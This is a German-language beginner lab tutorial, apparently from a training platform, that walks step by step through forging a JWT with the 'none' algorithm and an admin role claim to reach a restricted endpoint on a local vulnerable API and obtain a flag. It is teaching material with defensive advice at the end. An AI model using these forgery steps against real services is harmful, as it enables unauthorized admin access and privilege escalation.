Grundlagen der JWT-Manipulation

CybersicherheitBeginner
Jetzt üben

Einführung

JSON Web Tokens (JWT) sind ein offener Standard, der verwendet wird, um Sicherheitsinformationen zwischen zwei Parteien auszutauschen: einem Client und einem Server. Jeder JWT enthält kodierte JSON-Objekte, einschließlich einer Reihe von Claims (Ansprüchen). JWTs werden mit einem kryptografischen Algorithmus signiert, um sicherzustellen, dass die Claims nach der Ausstellung des Tokens nicht verändert werden können.

Eine der wichtigsten Lektionen für Anfänger ist, dass JWT-Inhalte in der Regel kodiert, aber nicht verschlüsselt sind. Jeder, der das Token besitzt, kann die Claims meist problemlos lesen. Die Sicherheitseigenschaft ergibt sich aus der Signaturprüfung, nicht aus der Geheimhaltung.

Eine unsachgemäße Implementierung von JWT-Bibliotheken kann jedoch zu schwerwiegenden Sicherheitslücken führen. Eine der berüchtigtsten Schwachstellen ist der Angriff über den „None“-Algorithmus. Wenn ein Server den Algorithmus none unterstützt, kann ein Angreifer den Payload des Tokens modifizieren (z. B. die Benutzerrolle auf 'admin' ändern), den Algorithmus auf none setzen und die Signatur entfernen. Der Server akzeptiert das gefälschte Token dann als gültig.

In diesem Lab interagieren Sie mit einer anfälligen lokalen API. Sie lernen, wie man ein JWT extrahiert, dessen Base64Url-Struktur dekodiert, den Payload zur Privilegienerweiterung manipuliert und die „None“-Algorithmus-Schwachstelle ausnutzt, um unbefugten Administratorzugriff zu erlangen.

JWT abfangen und extrahieren

In diesem Schritt interagieren Sie mit einem lokalen API-Server, der auf Ihrem System läuft. Der Server verfügt über einen Login-Endpunkt, der ein JSON Web Token (JWT) für einen Standardbenutzer ausstellt. Ihre erste Aufgabe besteht darin, dieses Token anzufordern und für die weitere Analyse zu speichern.

Ein JWT wird normalerweise im HTTP-Authorization-Header als Bearer-Token gesendet, wird dem Client jedoch zunächst nach erfolgreicher Authentifizierung bereitgestellt. Wir verwenden das Befehlszeilentool curl, um eine Login-Anfrage zu simulieren.

Führen Sie den folgenden Befehl in Ihrem Terminal aus, um auf den Login-Endpunkt zuzugreifen:

curl -s http://127.0.0.1:5000/api/login

Sie sollten eine JSON-Antwort sehen, die eine lange Zeichenfolge enthält, welche durch zwei Punkte (.) getrennt ist. Diese Zeichenfolge ist das JWT.

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}

Um die Arbeit mit diesem Token in den folgenden Schritten zu erleichtern, extrahieren wir nur die Token-Zeichenfolge und speichern sie in einer Datei namens token.txt. Wir können grep mit einem regulären Ausdruck verwenden, um die JSON-Ausgabe zu parsen.

Führen Sie den folgenden Befehl aus, um das Token zu speichern:

curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt

Sie können überprüfen, ob das Token korrekt gespeichert wurde, indem Sie den Inhalt der Datei anzeigen:

cat token.txt

Halten Sie dieses Token bereit, da wir seine Struktur im nächsten Schritt analysieren werden.

JWT-Struktur dekodieren

In diesem Schritt zerlegen Sie das JWT in seine Kernkomponenten und dekodieren diese, um die darin enthaltenen Informationen zu verstehen.

Ein Standard-JWT besteht aus drei Teilen, die durch Punkte (.) getrennt sind. Der erste Teil ist der Header, der Metadaten über das Token enthält, wie z. B. den verwendeten Signaturalgorithmus (z. B. HS256). Der zweite Teil ist der Payload, der die eigentlichen Claims oder Daten wie Benutzername, Rolle und Ablaufzeit enthält. Der letzte Teil ist die Signatur, die verwendet wird, um zu verifizieren, dass der Absender des JWT der ist, der er vorgibt zu sein, und um sicherzustellen, dass die Nachricht auf dem Weg nicht verändert wurde.

Diese Trennung ist wichtig, da viele JWT-Angriffe darauf abzielen, Verwirrung darüber zu stiften, welcher Teil sicher geändert werden kann und welcher kryptografisch geschützt sein muss.

Der Header und der Payload sind mittels Base64Url kodiert. Das bedeutet, sie sind nicht verschlüsselt; jeder, der das Token abfängt, kann die Inhalte leicht dekodieren und lesen.

Deshalb sollten sensible Autorisierungsentscheidungen niemals darauf basieren, dass die Claims verborgen sind. Sie müssen sich darauf verlassen, dass die Signatur korrekt validiert wird.

Zuerst teilen wir das Token in seine Header- und Payload-Komponenten auf und speichern sie in separaten Dateien. Wir verwenden den Befehl cut, um die Zeichenfolge am Trennzeichen . zu teilen. In einem JWT trennt das Punktzeichen die drei Abschnitte, daher ist cut eine schnelle Methode, um das Token zu zerlegen, ohne ein spezielles JWT-Tool zu benötigen.

## Den ersten Teil (Header) extrahieren
cat token.txt | cut -d '.' -f 1 > header.b64

## Den zweiten Teil (Payload) extrahieren
cat token.txt | cut -d '.' -f 2 > payload.b64

Lassen Sie uns nun den Header dekodieren. Da die Base64Url-Kodierung manchmal die Padding-Zeichen (=) am Ende weglässt, könnten sich Standard-Base64-Dekodierungstools beschweren. Für unseren spezifischen Header ist die Länge perfekt ausgerichtet, sodass wir ihn direkt mit dem Befehl base64 -d dekodieren können:

cat header.b64 | base64 -d

Sie sollten eine Ausgabe ähnlich dieser sehen, die darauf hinweist, dass das Token den HS256-Algorithmus verwendet:

{"alg":"HS256","typ":"JWT"}

Als Nächstes dekodieren wir den Payload. Die Payload-Zeichenfolge benötigt möglicherweise Padding, um vom Standard-base64-Dienstprogramm erfolgreich dekodiert zu werden. Wir können == anhängen, um sicherzustellen, dass es korrekt dekodiert wird:

echo "$(cat payload.b64)==" | base64 -d

Die Ausgabe enthüllt die Claims innerhalb des Tokens:

{"username":"guest","role":"user"}

Beachten Sie, dass Ihre aktuelle Rolle auf user gesetzt ist. Wenn Sie versuchen, mit diesem Token auf den Endpunkt /api/admin zuzugreifen, wird Ihnen der Zugriff verweigert. Sie können dies testen, indem Sie Folgendes ausführen:

curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin

Der Server wird mit einem Fehler wegen verweigerten Zugriffs antworten. In den nächsten Schritten werden wir diese dekodierten Teile manipulieren, um diese Einschränkung zu umgehen.

'None'-Algorithmus ausnutzen

In diesem Schritt bereiten Sie den ersten Teil unseres Angriffs vor, indem Sie den JWT-Header modifizieren, um die Schwachstelle des none-Algorithmus auszunutzen.

Wenn ein Server ein JWT verifiziert, prüft er das Feld alg (Algorithmus) im Header, um zu wissen, welcher kryptografische Algorithmus zur Erstellung der Signatur verwendet wurde. Einige schlecht konfigurierte JWT-Bibliotheken unterstützen einen Algorithmus namens none. Wenn ein Angreifer das Feld alg auf none ändert, überspringt der Server möglicherweise den Signaturprüfungsprozess vollständig. Dies ermöglicht es dem Angreifer, den Payload zu modifizieren, ohne den geheimen Schlüssel des Servers zu benötigen, um eine gültige Signatur zu generieren.

Lassen Sie uns einen neuen JSON-Header erstellen, der den none-Algorithmus spezifiziert.

echo -n '{"alg":"none","typ":"JWT"}' > new_header.json

Jetzt müssen wir diese neue JSON-Zeichenfolge wieder in das Base64Url-Format kodieren. Base64Url unterscheidet sich geringfügig vom Standard-Base64: Es entfernt alle nachgestellten = Padding-Zeichen, ersetzt + durch - und ersetzt / durch _.

Wir können diese Kodierung mit einer Kombination von Standard-Linux-Befehlen erreichen: base64 für die anfängliche Kodierung und tr, um die spezifischen Zeichen zu übersetzen und zu löschen.

Führen Sie den folgenden Befehl aus, um den neuen Header zu kodieren:

cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64

Lassen Sie uns den Inhalt unseres neu kodierten Headers überprüfen:

cat new_header.b64

Sie sollten die folgende Base64Url-Zeichenfolge sehen:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

Diese Zeichenfolge repräsentiert unseren bösartigen Header. Durch die Verwendung dieses Headers weisen wir den anfälligen API-Server an, die Signatur unseres Tokens nicht zu validieren.

Payload-Claims modifizieren (Rolle Admin)

In diesem letzten Schritt modifizieren Sie den JWT-Payload, um Ihre Privilegien zu erweitern, das gefälschte Token zusammenzusetzen und es für den Zugriff auf den eingeschränkten Admin-Endpunkt zu verwenden.

Zuvor haben wir festgestellt, dass unser Payload "role":"user" enthielt. Wir möchten dies in "role":"admin" ändern.

Erstellen Sie zuerst eine neue JSON-Datei, die den modifizierten Payload enthält:

echo -n '{"username":"guest","role":"admin"}' > new_payload.json

Als Nächstes müssen wir, genau wie beim Header, diesen neuen Payload in das Base64Url-Format kodieren. Wir verwenden dieselbe Kombination aus base64 und tr-Befehlen:

cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64

Sie können den kodierten Payload anzeigen, indem Sie Folgendes ausführen:

cat new_payload.b64

Jetzt haben wir unseren bösartigen Header (new_header.b64) und unseren erweiterten Payload (new_payload.b64). Der letzte Schritt besteht darin, das endgültige JWT zu konstruieren.

Denken Sie daran, dass das JWT-Format Header.Payload.Signature lautet. Da wir den none-Algorithmus verwenden, gibt es keine Signatur. Der Server erwartet jedoch weiterhin, dass das Token drei durch Punkte getrennte Teile hat. Daher wird unser gefälschtes Token wie Header.Payload. aussehen. Der nachgestellte Punkt ist wichtig, da er das Token in der erwarteten dreiteiligen Struktur hält, obwohl der Signaturteil leer ist.

Lassen Sie uns das gefälschte Token zusammenbauen und in einer Datei speichern:

FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt

Überprüfen Sie, ob das Token korrekt aussieht:

cat forged_token.txt

Schließlich ist es an der Zeit, unseren Exploit zu testen. Wir senden eine Anfrage an den eingeschränkten Endpunkt /api/admin und übergeben unser gefälschtes Token im Authorization-Header.

curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin

Wenn der Exploit erfolgreich ist, akzeptiert der Server den none-Algorithmus, überspringt die Signaturprüfung, liest Ihre Rolle als admin und gewährt Ihnen Zugriff. Sie sollten eine Erfolgsmeldung sehen, die ein geheimes Flag enthält!

{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}

Zusammenfassung

Herzlichen Glückwunsch! Sie haben das Lab zu den Grundlagen der JWT-Manipulation erfolgreich abgeschlossen.

In diesem Lab haben Sie gelernt:

  • JSON Web Tokens aus API-Antworten abzufangen und zu extrahieren.
  • Die Struktur eines JWT zu zerlegen und dessen Base64Url-kodierten Header und Payload zu dekodieren.
  • Die schwerwiegenden Sicherheitsimplikationen der Schwachstelle des „None“-Algorithmus zu verstehen.
  • Manuell ein bösartiges JWT zu erstellen, indem Sie Payload-Claims ändern und die Signaturprüfung umgehen, um eine Privilegienerweiterung zu erreichen.

Diese Fähigkeiten sind grundlegend, um API-Sicherheit zu verstehen und Authentifizierungsmängel bei Penetrationstests oder Sicherheitsaudits zu identifizieren. In diesem Lab haben Sie einen schwachen Verifizierungsmodus missbraucht, indem Sie den Algorithmus auf none gesetzt haben. In anderen Szenarien können Angreifer ein ähnliches Ergebnis erzielen, wenn sie irgendwie das echte Signaturgeheimnis erfahren und ihr eigenes gültiges Token generieren. Stellen Sie immer sicher, dass Ihre Anwendungen eine strikte Algorithmus-Verifizierung erzwingen, Signaturgeheimnisse sorgfältig schützen und niemals den none-Algorithmus in Produktionsumgebungen akzeptieren.